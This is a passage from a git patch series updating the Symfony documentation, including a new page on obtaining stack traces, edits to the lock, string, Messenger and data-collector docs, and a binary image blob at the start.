z%}OxGKOj@Rdx>E)QjP;AFUw|@@s#d<K|N)LGK{gCu80Aa5~Kj<50_Ae4>A;F4Ik6N
zWy@_&2CDnvc~{*94NGixO{A2IAUk4AHAu-RgyR@EsNBF{u+mC8OV=YvrOJVn_GDEf
zaOM9RKm`n}uyBASF_<y}20YM(xKV~+(*X}f#bd(gYI~Y$1XpEfJ&IEh1-+x3!P{)i
zz<Qj4Mu&Brn+@x(BPZ>6;kpKkT6k?)25W&X+d^l4vCTDzP&tw`3`i$d`j)`oF&;%~
zMgllu1dEjIxEwue89X|pP_ah4{c4z}07(F)Pyd>3s|;au4?B=dRPuqxDf{c_(CaXr
zvZVegx!od}GFCQ~ui)p-n4HDN$JYMDR>>f<Ot7q8>h!5+aQ#DWT`vQ80X%NQri75#
znsen@uwvR}7(7;qjeU|O&@)P#{i_yT+xIC1o1qeK2rsDUxo%46eq&M2D#${0<u?GM
z^5Mcfp>h5v8Ca2$`FyJKJ}Qw?GA0;f-Z<6gsWJCcmOyTRtApTuNah20ymbNC-3?p!
zuIoCxoO3Up!*ec`72hD}#r<JxC+OomInI0)jh1Q(LeUq98(|)TzsvCQzn_Yn5^jW|
zB1Ab`l1Jw@k`qLstc9$K5X0}ExB;iwQN>89HAK2fd_LWTx8OvjgNkB0Bd^(*-|WP@
z^@*4Hh32))+0!z?fXUF8By^)FLjB11>1=Xr-LQyWa2a52Kg&Xs9OJIV8m6*yg;iQj
z$Xpeje7#aNU0Sly^Lmo-PC3A63vYz;9J^~__y(#sn>=(a@4YElQX@^t_HG!S4D#s$
zxPzt;(ox;fx#yxIkb+W5vjVE|(oZbizn%5dg{R!>4SGA7J!K)6UB=xf<1aO&SQzvo
zv7{eV41=*{BhC{X2hfF{_()lZ$tzY@KYomD*>V<$ZiOr*6l!5s^&a{Ht4S6Wk78|P
zw2FMcURhGjhPQCaJL0IcNWKvrZ{}CW%=MCU-;?8D_6_=?@>@f$MePi!SiG0X3*S*q
z)`6rODE5m?;j@B@89S%~V}X6YS(l?(?1|neLPV;J9mh)IE&1ME7IO1SkCeAH!9tMl
zB%}_wt##KY8&F%RU;qAi#>iGG#+I8`uXVQC24F>u`JFk-;ZcE$<WVf=QKqEh9<5MC
zv#76;p-v5?4`zo}$i99exMVV3|Eg|}SKTpW>$$9Q$ee|J1_z|S9=fPISR!+)opfoU
zuuzS336`)I0@y<Sud;LfYU)g*_<NF*yFv(Z5)XkSfLahWLU6UVE~B&<0d1Cy(=3cN
zKwA(U1u94#ojH&YlX8nK&}Kjhk}5aHL@f0NgsTBW#Q|3kLT=Vl#j4QO3w1FE?U#P^
z`3v5?-@Tr1&;C&mNl(P^P<Brv?Vq&rV@vaF;#p7qi_P?ZU((A*EqIY%sI9u(U6(ag
ziS}OuruJrqz9NfP*|)7U%!@4u+#kQTGv0c|v_6G)OESIry9bMR2|~?U+o27zcQ;7A
z$J$SesJj)CP3~$GZvhgus|I7$JEO7V^@<fIwB^e_xmNhqT#@MOCB__P9f_$r_&k&d
z+I$n=s;sdsGJf^x$ajr|JLkpQ7bvW0yGOHPLl2<;$#yTx%{`r)xNho6f9;mUr`i+Q
zm*T(KQ7=tC+OqmWbxjZQQvX4iCMH>*AB7r@un*?uUorGtYnJ9L8E<e7InpE*H`PAr
z8hP6J5^J6D$&mV4J$rz9b>xP1RMWHWd!<DVHzTX68kBndWH>tXYh*=c<n{00Gh{Vf
zf62R*9a1XYk}24vlj@JJ7`Gq)va3~-P#;t#rpSJ+@RP``#W39zP%AYRJX5!C`KVMv
z_ME8!|I@g#H9xPLcpf|P<HBS2NZN!@ydshC=(mu^B|X%54tPf<D(Rdk2FuNff738`
zO-DJ3E$7tV`Z6C->wdJ)J=}S4kk)&W{;^K!+@k+5qg@LqYfSPYp#t8jrN#(JYP*gZ
zDKg-f`m1(`;We@XovpELqeE?VE+lKal8Z<PEtUT<P`j!g+c~FPXp3vT-sOMW6>!gW
zdyzAc?B*lxU-%jf0Ks#ZL<2aNeG2LTT%61fsFSaG^a_kfqKC=rguOIq2~}8CrxODx
zBt|;^7an~HJ(YvixZkI-1$(*tOx6+tN3e(bw%F1QeNB-!i8p(?AtW5u@XZN5Tj4b!
z`}PXNy)-uAT)H2K1{%~q$u`;V#I$D!*XbNAXo^8h9YL77jaXh2-?**JC#e2*A^Q<s
z)`0~Vamb(i;m4E#Iy0*4lu#JF$9}2oAH!HuLa(NJ$96td7!(n^nCO+Z&hP?TP)YRW
zQC9;ML~PpCg}m({ZA0FYnsSrS-xrXrNfrh39sVov#Ch>gaq%Q*Ui{o^@rDj1)i+FT
zHPv(-Wd_GqNzBRJfI^pzTg|msOZm}Xj&nRJj0MLu$otOWd}<aAW{Q(xoKOAv{qa#<
z9u<lt7&Li`-UTP-`P7M-YKRlIwJgJ@vln7*(x=<|{X&ZjQ81UUaAQNnm4835bD(8~
z1YPE3QV7H_%^cPpWIA^1jH4a%Yhm&|Dh8zSWncpEez8RtJX?^YT&*N7UBs}4D*(OE
z5FJ_Yq*MIabrNi3D!^(@+sTxHw$NbM-W{3Rf|&9<rW}^-oth*uc^`C%WB|vaF3kLd
zBpHQ5;*<L$!?=l1>*a%*h?s9TY;PiLz<dVV8+YxO_F_b>w`DzF+4^#ps{Yf?>5-!j
z%rW@5Qyy->2#i(6O-^OUpv9sRS}fwvA?Qz6`5^oOp#zM708oHi%wRBBEEbo`6$k{&
zmoFEIL^#1dCMG5>E-oP<K`xi4q@<*$r|0D496o$lrBoFb7V31ms;VlS$KKf3Xf~TK
zUcA`V)z#nMKRi4<Ha6z*c&4VNW@cvI6hV$Z=1qq@Coaj5grlWaV^-hZwbeK44#b{G
zJZo#p8F+Z8-D%2=Us-u$^8BH}eU}}NFC5-_cI?r!EC0IjXm$?E%U9y~`a^W!bF?U*
z4e?;4xa<f*=lOY+SADUV%tPsm*jyAnUY~(d{R1JG$e;kfx`qpB{wIBT00{u6@n(UG
zS5sIJSh$c!_G=4l<5CcwZS>CAxP8Lmbh&YQ`@Nqgf3_2N9EfQ5=h24l|NivZ^B1#!
z*aIok5n$3(?4*#{FG63XIWv$S!cP-+Qm8zpB2MS3nNRbHv77P!OXJb?9N+mgmo8>0
ztT_=L3Y~VUb-b@Rb?t}VEM}TT?Nck=v-Sv%TNjO~DV^uPa2h~<$0=EJTL_KskNp?i
z-5n5z7|DQvhKO~}M%%dz&-4t_mA8|@=E}+kemL9e75!d(D+<5L$bLWo;b)20fDgWQ
o^6uWfJ2yA?`ez7;s<eLKp?7Ur&7H#Li7T_-YPX~!1p@E>ACR}dBLDyZ

literal 0
HcmV?d00001

diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index 271c7f1203b..6a05f2cdf6d 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -33,7 +33,10 @@ If your problem definitely looks like a bug, report it using the official bug
 * Give as much detail as possible about your environment (OS, PHP version,
   Symfony version, enabled extensions, ...);
 
-* If you want to provide a stack trace you got on an HTML page, be sure to
+* If there was an exception and you would like to report it, it is
+  valuable to provide the :doc:`stack trace
+  </contributing/code/stack_trace>` for that exception.
+  If you want to provide a stack trace you got on an HTML page, be sure to
   provide the plain text version, which should appear at the bottom of the
   page. *Do not* provide it as a screenshot, since search engines will not be
   able to index the text inside them. Same goes for errors encountered in a
diff --git a/contributing/code/index.rst b/contributing/code/index.rst
index 0bb29d6abc4..e537eb3a0c3 100644
--- a/contributing/code/index.rst
+++ b/contributing/code/index.rst
@@ -5,6 +5,7 @@ Contributing Code
     :maxdepth: 2
 
     bugs
+    stack_trace
     reproducer
     pull_requests
     maintenance
diff --git a/contributing/code/stack_trace.rst b/contributing/code/stack_trace.rst
new file mode 100644
index 00000000000..2a2628cd5ac
--- /dev/null
+++ b/contributing/code/stack_trace.rst
@@ -0,0 +1,189 @@
+Getting a Stack Trace
+=====================
+
+When :doc:`reporting a bug </contributing/code/bugs>` for an
+exception or a wrong behavior in code, it is crucial that you provide
+one or several stack traces. To understand why, you first have to
+understand what a stack trace is, and how it can be useful to you as a
+developer, and also to library maintainers.
+
+Anatomy of a Stack Trace
+------------------------
+
+A stack trace is called that way because it allows one to see a trail of
+function calls leading to a point in code since the beginning of the
+program. That point is not necessarily an exception. For instance, you
+can use the native PHP function ``debug_print_backtrace()`` to get such
+a trace. For each line in the trace, you get a file and a function or
+method call, and the line number for that call. This is often of great
+help for understanding the flow of your program and how it can end up in
+unexpected places, such as lines of code where exceptions are thrown.
+
+Stack Traces and Exceptions
+---------------------------
+
+In PHP, every exception comes with its own stack trace, which is
+displayed by default if the exception is not caught. When using Symfony,
+such exceptions go through a custom exception handler, which enhances
+them in various ways before displaying them according to the current
+Server API (CLI or not).
+This means a better way to get a stack trace when you do need the
+program to continue is to throw an exception, as follows:
+``throw new \Exception();``
+
+Nested Exceptions
+-----------------
+
+When applications get bigger, complexity is often tackled with layers of
+architecture that need to be kept separate. For instance, if you have a
+web application that makes a call to a remote API, it might be good to
+wrap exceptions thrown when making that call with exceptions that have
+special meaning in your domain, and to build appropriate HTTP exceptions
+from those. Exceptions can be nested by using the ``$previous``
+argument that appears in the signature of the ``Exception`` class:
+``public __construct ([ string $message = "" [, int $code = 0 [, Throwable $previous = NULL ]]] )``
+This means that sometimes, when you get an exception from an
+application, you might actually get several of them.
+
+What to look for in a Stack Trace
+---------------------------------
+
+When using a library, you will call code that you did not write. When
+using a framework, it is the opposite: because you follow the
+conventions of the framework, `the framework finds your code and calls
+it <https://en.wikipedia.org/wiki/Inversion_of_control>`_, and does
+things for you beforehand, like routing or access control.
+Symfony being both a framework and library of components, it calls your
+code and then your code might call it. This means you will always have
+at least 2 parts, very often 3 in your stack traces when using Symfony:
+a part that starts in one of the entrypoints of the framework
+(``bin/console`` or ``public/index.php`` in most cases), and ends when
+reaching your code, most times in a command or in a controller found under
+``src``. Then, either the exception is thrown in your code or in
+libraries you call. If it is the latter, there should be a third part in
+the stack trace with calls made in files under ``vendor``. Before
+landing in that directory, code goes through numerous review processes
+and CI pipelines, which means it should be less likely to be the source
+of the issue than code from your application, so it is important that
+you focus first on lines starting with ``src``, and look for anything
+suspicious or unexpected, like method calls that are not supposed to
+happen.
+
+Next, you can have a look at what packages are involved. Files under
+``vendor`` are organized by Composer in the following way:
+``vendor/acme/router`` where ``acme`` is the vendor, ``router`` the
+library and ``acme/router`` the Composer package. If you plan on
+reporting the bug, make sure to report it to the library throwing the
+exception. ``composer home acme/router`` should lead you to the right
+place for that. As Symfony is a monorepository, use ``composer home
+symfony/symfony`` when reporting a bug for any component.
+
+Getting Stack Traces with Symfony
+---------------------------------
+
+Now that we have all this in mind, let us see how to get a stack trace
+with Symfony.
+
+Stack Traces in your Web Browser
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Several things need to be paid attention to when picking a stack trace
+from your development environment through a web browser:
+
+1. Are there several exceptions? If yes, the most interesting one is
+   often exception 1/n which, is shown _last_ in the example below (it
+   is the one marked as exception [1/2]).
+2. Under the "Stack Traces" tab, you will find exceptions in plain
+   text, so that you can easily share them in e.g. bug reports. Make
+   sure to **remove any sensitive information** before doing so.
+3. You may notice there is a logs tab too; this tab does not have to do
+   with stack traces, it only contains logs produced in arbitrary places
+   in your application. They may or may not relate to the exception you
+   are getting, but are not what the term "stack trace" refers to.
+
+.. image:: /_images/contributing/code/stack-trace.gif
+   :align: center
+   :class: with-browser
+
+Since stack traces may contain sensitive data, they should not be
+exposed in production. Getting a stack trace from your production
+environment, although more involving, is still possible with solutions
+that include but are not limited to sending them to an email address
+with monolog.
+
+Stack Traces in the CLI
+~~~~~~~~~~~~~~~~~~~~~~~
+
+Exceptions might occur when running a Symfony command. By default, only
+the message is shown because it is often enough to understand what is
+going on:
+
+.. code-block:: terminal
+
+   $ php bin/console debug:exception
+
+
+      Command "debug:exception" is not defined.
+
+      Did you mean one of these?
+          debug:autowiring
+          debug:config
+          debug:container
+          debug:event-dispatcher
+          debug:form
+          debug:router
+          debug:translation
+          debug:twig
+
+
+If that is not the case, you can obtain a stack trace by increasing the
+:doc:`verbosity level</console/verbosity>` with ``--verbose``:
+
+.. code-block:: terminal
+
+   $ php bin/console --verbose debug:exception
+
+    In Application.php line 644:
+
+      [Symfony\Component\Console\Exception\CommandNotFoundException]
+      Command "debug:exception" is not defined.
+
+      Did you mean one of these?
+          debug:autowiring
+          debug:config
+          debug:container
+          debug:event-dispatcher
+          debug:form
+          debug:router
+          debug:translation
+          debug:twig
+
+
+    Exception trace:
+      at /app/vendor/symfony/console/Application.php:644
+     Symfony\Component\Console\Application->find() at /app/vendor/symfony/framework-bundle/Console/Application.php:116
+     Symfony\Bundle\FrameworkBundle\Console\Application->find() at /app/vendor/symfony/console/Application.php:228
+     Symfony\Component\Console\Application->doRun() at /app/vendor/symfony/framework-bundle/Console/Application.php:82
+     Symfony\Bundle\FrameworkBundle\Console\Application->doRun() at /app/vendor/symfony/console/Application.php:140
+     Symfony\Component\Console\Application->run() at /app/bin/console:42
+
+Stack Traces and API Calls
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+When getting an exception from an API, you might not get a stack trace,
+or it might be displayed in a way that is not suitable for sharing.
+Luckily, when in the dev environment, you can obtain a plain text stack
+trace by using the profiler. To find the profile, you can have a look
+at the ``X-Debug-Token-Link`` response headers:
+
+.. code-block:: terminal
+
+    $ curl --head http://localhost:8000/api/posts/1
+    … more headers
+    X-Debug-Token: 110e1e
+    X-Debug-Token-Link: http://localhost:8000/_profiler/110e1e
+    X-Robots-Tag: noindex
+    X-Previous-Debug-Token: 209101
+
+Following that link will lead you to a page very similar to the one
+described above in `Stack Traces in your Web Browser`_.
diff --git a/contributing/map.rst.inc b/contributing/map.rst.inc
index b9c9311a6cb..ffa9b03a5a7 100644
--- a/contributing/map.rst.inc
+++ b/contributing/map.rst.inc
@@ -8,6 +8,7 @@
 * **Code**
 
   * :doc:`Bugs </contributing/code/bugs>`
+  * :doc:`Getting a Stack Trace </contributing/code/stack_trace>`
   * :doc:`Pull Requests </contributing/code/pull_requests>`
   * :doc:`Reviewing Issues and Pull Requests </contributing/community/reviews>`
   * :doc:`Maintenance </contributing/code/maintenance>`

From b73c12889b07da6a08c56b5164d80d72870d6313 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=98=D0=B2=D0=B0=D0=BD?= <iva3682@yandex.ru>
Date: Sun, 20 Sep 2020 16:18:57 +0500
Subject: [PATCH 1166/7107] Update reset_password.rst

---
 security/reset_password.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/reset_password.rst b/security/reset_password.rst
index 7899440ba86..bbde221f015 100644
--- a/security/reset_password.rst
+++ b/security/reset_password.rst
@@ -12,7 +12,7 @@ Generating the Reset Password Code
 
 .. code-block:: terminal
 
-    $ php composer require symfonycasts/reset-password-bundle
+    $ composer require symfonycasts/reset-password-bundle
         .....
     $ php bin/console make:reset-password
 

From cc58e8efa0a0b1a11f1732bed1ac79c151888bc7 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 21 Sep 2020 16:16:24 +0200
Subject: [PATCH 1167/7107] Add missing former core member

---
 contributing/code/core_team.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 3601d5b3fcd..1c6c64bbc98 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -98,7 +98,8 @@ Symfony contributions:
 * **Bernhard Schussek** (`webmozart`_);
 * **Abdellatif AitBoudad** (`aitboudad`_);
 * **Romain Neutron** (`romainneutron`_);
-* **Jordi Boggiano** (`Seldaek`_).
+* **Jordi Boggiano** (`Seldaek`_);
+* **Lukas Kahwe Smith** (`lsmith77`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -198,3 +199,4 @@ discretion of the **Project Leader**.
 .. _`HeahDude`: https://github.com/HeahDude
 .. _`OskarStark`: https://github.com/OskarStark
 .. _`romainneutron`: https://github.com/romainneutron
+.. _`lsmith77`: https://github.com/lsmith77/

From a533c359913a4dd6ae7bc195c67fec37732c2a85 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 15:36:55 +0200
Subject: [PATCH 1168/7107] Tweaks and rewords

---
 components/lock.rst | 39 +++++++++++++++++++--------------------
 1 file changed, 19 insertions(+), 20 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 53a7514e935..c0f20586e6d 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -168,34 +168,37 @@ object) and ``isExpired()`` (which returns a boolean).
 Shared Locks
 ------------
 
-Sometimes, a data structure cannot be updated atomically and is invalid during
-the time of the update. In this situation, other process should not read or
-write the data until the update is complete. But once updated, multiple process
-can read the data in parallel.
+.. versionadded:: 5.2
+
+    Shared locks (and the associated ``acquireRead()`` method and
+    ``SharedLockStoreInterface``) were introduced in Symfony 5.2.
 
-In this situation, a common solution is to use shared lock which allows
-concurent access for read-only operations, while write operations require
-exclusive access.
+A shared or `readers–writer lock`_ is a synchronization primitive that allows
+concurrent access for read-only operations, while write operations require
+exclusive access. This means that multiple threads can read the data in parallel
+but an exclusive lock is needed for writing or modifying data. They are used for
+example for data structures that cannot be updated atomically and are invalid
+until the update is complete.
 
 Use the :method:`Symfony\\Component\\Lock\\LockInterface::acquireRead` method
 to acquire a read-only lock, and the existing
 :method:`Symfony\\Component\\Lock\\LockInterface::acquire` method to acquire a
-write lock.::
+write lock::
 
     $lock = $factory->createLock('user'.$user->id);
     if (!$lock->acquireRead()) {
         return;
     }
 
-Similare to the ``acquire`` method, pass ``true`` as the argument of the ``acquireRead()``
-method to acquire the lock in a blocking mode.::
+Similar to the ``acquire()`` method, pass ``true`` as the argument of ``acquireRead()``
+to acquire the lock in a blocking mode::
 
     $lock = $factory->createLock('user'.$user->id);
     $lock->acquireRead(true);
 
-When a read-only lock is acquired with the method ``acquireRead``, it's
-possible to **Promote** the lock, and change it to write lock, by calling the
-``acquire`` method.::
+When a read-only lock is acquired with the method ``acquireRead()``, it's
+possible to **promote** the lock, and change it to write lock, by calling the
+``acquire()`` method::
 
     $lock = $factory->createLock('user'.$userId);
     $lock->acquireRead(true);
@@ -207,13 +210,8 @@ possible to **Promote** the lock, and change it to write lock, by calling the
     $lock->acquire(true); // Promote the lock to write lock
     $this->update($userId);
 
-In the same way, it's possible to **Demote** a write lock, and change it to a
-read-only lock by calling the ``acquireRead`` method.
-
-.. versionadded:: 5.2
-
-    The ``Lock::acquireRead`` method and ``SharedLockStoreInterface`` interface
-    and were introduced in Symfony 5.2.
+In the same way, it's possible to **demote** a write lock, and change it to a
+read-only lock by calling the ``acquireRead()`` method.
 
 The Owner of The Lock
 ---------------------
@@ -833,3 +831,4 @@ are still running.
 .. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
 .. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/
+.. _`readers–writer lock`: https://en.wikipedia.org/wiki/Readers%E2%80%93writer_lock

From d485b85259ca9a9f46148b781dc5f8f47f02e160 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 15:47:05 +0200
Subject: [PATCH 1169/7107] Fix a PHPUnit deprecation

---
 form/unit_testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index ee096c167dd..795fd55c9ea 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -159,7 +159,7 @@ make sure the ``FormRegistry`` uses the created instance::
     {
         private $objectManager;
 
-        protected function setUp()
+        protected function setUp(): void
         {
             // mock any dependencies
             $this->objectManager = $this->createMock(ObjectManager::class);

From b7c8de755637db188b93b9ee4c6d7953bc749efc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 16:05:37 +0200
Subject: [PATCH 1170/7107] [String] Allow to define slugger substitutions with
 PHP closures

---
 components/string.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 7d2ec49a198..10c0ab43e66 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -473,10 +473,19 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('10% or 5€');
     // $slug = '10-percent-or-5-euro'
 
+    // for more dynamic substitutions, pass a PHP closure instead of an array
+    $slugger = new AsciiSlugger('en', function ($string, $locale) {
+        return str_replace('❤️', 'love', $string);
+    });
+
 .. versionadded:: 5.1
 
     The feature to define additional substitutions was introduced in Symfony 5.1.
 
+.. versionadded:: 5.2
+
+    The feature to use a PHP closure to define substitutions was introduced in Symfony 5.2.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 

From 8a9cf7adbd5d205a95a323de5adcff4ae783ec2d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 16:32:08 +0200
Subject: [PATCH 1171/7107] [Messneger] documented the delete_after_ack option

---
 messenger.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index d20b46472c2..6107fcec87b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1046,6 +1046,8 @@ group               The Redis consumer group name          symfony
 consumer            Consumer name used in Redis            consumer
 auto_setup          Create the Redis group automatically?  true
 auth                The Redis password
+delete_after_ack    If ``true``, messages are deleted      false
+                    automatically after processing them
 serializer          How to serialize the final payload     ``Redis::SERIALIZER_PHP``
                     in Redis (the
                     ``Redis::OPT_SERIALIZER`` option)
@@ -1056,6 +1058,17 @@ stream_max_entries  The maximum number of entries which    ``0`` (which means "n
 tls                 Enable TLS support for the connection  false
 ==================  =====================================  =========================
 
+.. tip::
+
+    Set ``delete_after_ack`` to ``true`` (if you use a single group) or define
+    ``stream_max_entries`` (if you can estimate how many max entries is acceptable
+    in your case) to avoid memory leaks. Otherwise, all messages will remain
+    forever in Redis.
+
+.. versionadded:: 5.1
+
+    The ``delete_after_ack`` option was introduced in Symfony 5.1.
+
 In Memory Transport
 ~~~~~~~~~~~~~~~~~~~
 

From 9fdc8dc282c90a9504c72ce14e1e2699b34021ed Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <j.dreesen@neusta.de>
Date: Tue, 22 Sep 2020 17:27:10 +0200
Subject: [PATCH 1172/7107] Fix typo

---
 bundles/configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles/configuration.rst b/bundles/configuration.rst
index 0e8220eadce..9b16f20dd89 100644
--- a/bundles/configuration.rst
+++ b/bundles/configuration.rst
@@ -370,7 +370,7 @@ In XML, the `XML namespace`_ is used to determine which elements belong to the
 configuration of a specific bundle. The namespace is returned from the
 :method:`Extension::getNamespace() <Symfony\\Component\\DependencyInjection\\Extension\\Extension::getNamespace>`
 method. By convention, the namespace is a URL (it doesn't have to be a valid
-URL nor does it need to exists). By default, the namespace for a bundle is
+URL nor does it need to exist). By default, the namespace for a bundle is
 ``http://example.org/schema/dic/DI_ALIAS``, where ``DI_ALIAS`` is the DI alias of
 the extension. You might want to change this to a more professional URL::
 

From 171b2631f9509b2b47f39ce28f7ff25799ad5cd3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Sep 2020 17:30:38 +0200
Subject: [PATCH 1173/7107] Rewords

---
 profiler/data_collector.rst | 117 ++++++++++++++++++------------------
 1 file changed, 59 insertions(+), 58 deletions(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 6d7e7ac47c6..276d1e88324 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -14,9 +14,13 @@ Creating a custom Data Collector
 A data collector is a PHP class that implements the
 :class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface`.
 For convenience, your data collectors can also extend from the
-:class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollector` class, which
-implements the interface and provides some utilities and the ``$this->data``
-property to store the collected information.
+:class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`
+class, which implements the interface and provides some utilities and the
+``$this->data`` property to store the collected information.
+
+.. versionadded:: 5.2
+
+    The ``AbstractDataCollector`` class was introduced in Symfony 5.2.
 
 The following example shows a custom collector that stores information about the
 request::
@@ -24,11 +28,12 @@ request::
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;
 
+    use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\DataCollector\DataCollector;
 
-    class RequestCollector extends DataCollector
+    class RequestCollector extends AbstractDataCollector
     {
         public function collect(Request $request, Response $response, \Throwable $exception = null)
         {
@@ -37,25 +42,14 @@ request::
                 'acceptable_content_types' => $request->getAcceptableContentTypes(),
             ];
         }
-
-        public function reset()
-        {
-            $this->data = [];
-        }
-
-        public function getName()
-        {
-            return 'app.request_collector';
-        }
-
-        // ...
     }
 
+These are the method that you can define in the data collector class:
+
 :method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::collect` method:
     Stores the collected data in local properties (``$this->data`` if you extend
-    from :class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollector`).
-    If the data to collect cannot be obtained through the request or response,
-    inject the needed services in the data collector.
+    from ``AbstractDataCollector``). If you need some services to collect the
+    data, inject those services in the data collector constructor.
 
     .. caution::
 
@@ -70,14 +64,16 @@ request::
         to provide your own ``serialize()`` method.
 
 :method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::reset` method:
-    It's called between requests to reset the state of the profiler. Use it to
-    remove all the information collected with the ``collect()`` method.
+    It's called between requests to reset the state of the profiler. By default
+    it only empties the ``$this->data`` contents, but you can override this method
+    to do additional cleaning.
 
 :method:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollectorInterface::getName` method:
     Returns the collector identifier, which must be unique in the application.
+    By default it returns the FQCN of the data collector class, but you can
+    override this method to return a custom name (e.g. ``app.request_collector``).
     This value is used later to access the collector information (see
-    :doc:`/testing/profiling`) so it's recommended to return a string which is
-    short, lowercase and without white spaces.
+    :doc:`/testing/profiling`) so you may prefer using short strings instead of FQCN strings.
 
 The ``collect()`` method is called during the :ref:`kernel.response <component-http-kernel-kernel-response>`
 event. If you need to collect data that is only available later, implement
@@ -85,17 +81,11 @@ event. If you need to collect data that is only available later, implement
 and define the ``lateCollect()`` method, which is invoked right before the profiler
 data serialization (during :ref:`kernel.terminate <component-http-kernel-kernel-terminate>` event).
 
-.. _data_collector_tag:
-
-Enabling Custom Data Collectors
--------------------------------
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
-with ``autoconfigure``, then Symfony will automatically see your new data collector!
-Your ``collect()`` method should be called next time your refresh.
+.. note::
 
-If you're not using ``autoconfigure``, you can also :ref:`manually wire your service <services-explicitly-configure-wire-services>`
-and :doc:`tag </service_container/tags>` it with ``data_collector``.
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start using your data collector after the
+    next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
 
 Adding Web Profiler Templates
 -----------------------------
@@ -104,10 +94,9 @@ The information collected by your data collector can be displayed both in the
 web debug toolbar and in the web profiler. To do so, you need to create a Twig
 template that includes some specific blocks.
 
-However, first make your DataCollector to extends :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector` instead of :class:`Symfony\\Component\\HttpKernel\\DataCollector\\DataCollector`. When extending :class:`Symfony\\Bundle\\FrameworkBundle\\DataCollector\\AbstractDataCollector`, you don't need to implement `getName` method; your collector FQDN is returned as identifier (you can also override it if needed). Though you need to implement `getTemplate` with the template you're going to use in the profiler (see below).
-
-Then you must add some getters in the data collector class to give the
-template access to the collected information::
+First, add the ``getTemplate()`` method in your data collector class to return
+the path of the Twig template to use. Then, add some *getters* to give the
+template access to the collected information::::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;
@@ -140,6 +129,7 @@ block and set the value of two variables called ``icon`` and ``text``:
 
 .. code-block:: html+twig
 
+    {# templates/data_collector/template.html.twig #}
     {% extends '@WebProfiler/Profiler/layout.html.twig' %}
 
     {% block toolbar %}
@@ -185,6 +175,7 @@ must also define additional blocks:
 
 .. code-block:: html+twig
 
+    {# templates/data_collector/template.html.twig #}
     {% extends '@WebProfiler/Profiler/layout.html.twig' %}
 
     {% block toolbar %}
@@ -234,9 +225,25 @@ The ``menu`` and ``panel`` blocks are the only required blocks to define the
 contents displayed in the web profiler panel associated with this data collector.
 All blocks have access to the ``collector`` object.
 
-That's it ! Your data collector is now accessible in the toolbar.
+.. note::
+
+    The position of each panel in the toolbar is determined by the collector
+    priority, which can only be defined when :ref:`configuring the data collector by hand <data_collector_tag>`.
+
+.. note::
+
+    If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
+    with ``autoconfigure``, then Symfony will start displaying your collector data
+    in the toolbar after the next page refresh. Otherwise, :ref:`enable the data collector by hand <data_collector_tag>`.
+
+.. _data_collector_tag:
+
+Enabling Custom Data Collectors
+-------------------------------
 
-If you don't use the default configuration with :ref:`autowire and autoconfigure <service-container-services-load-example>`, you'll need to configure the data collector explicitely:
+If you don't use Symfony's default configuration with
+:ref:`autowire and autoconfigure <service-container-services-load-example>`
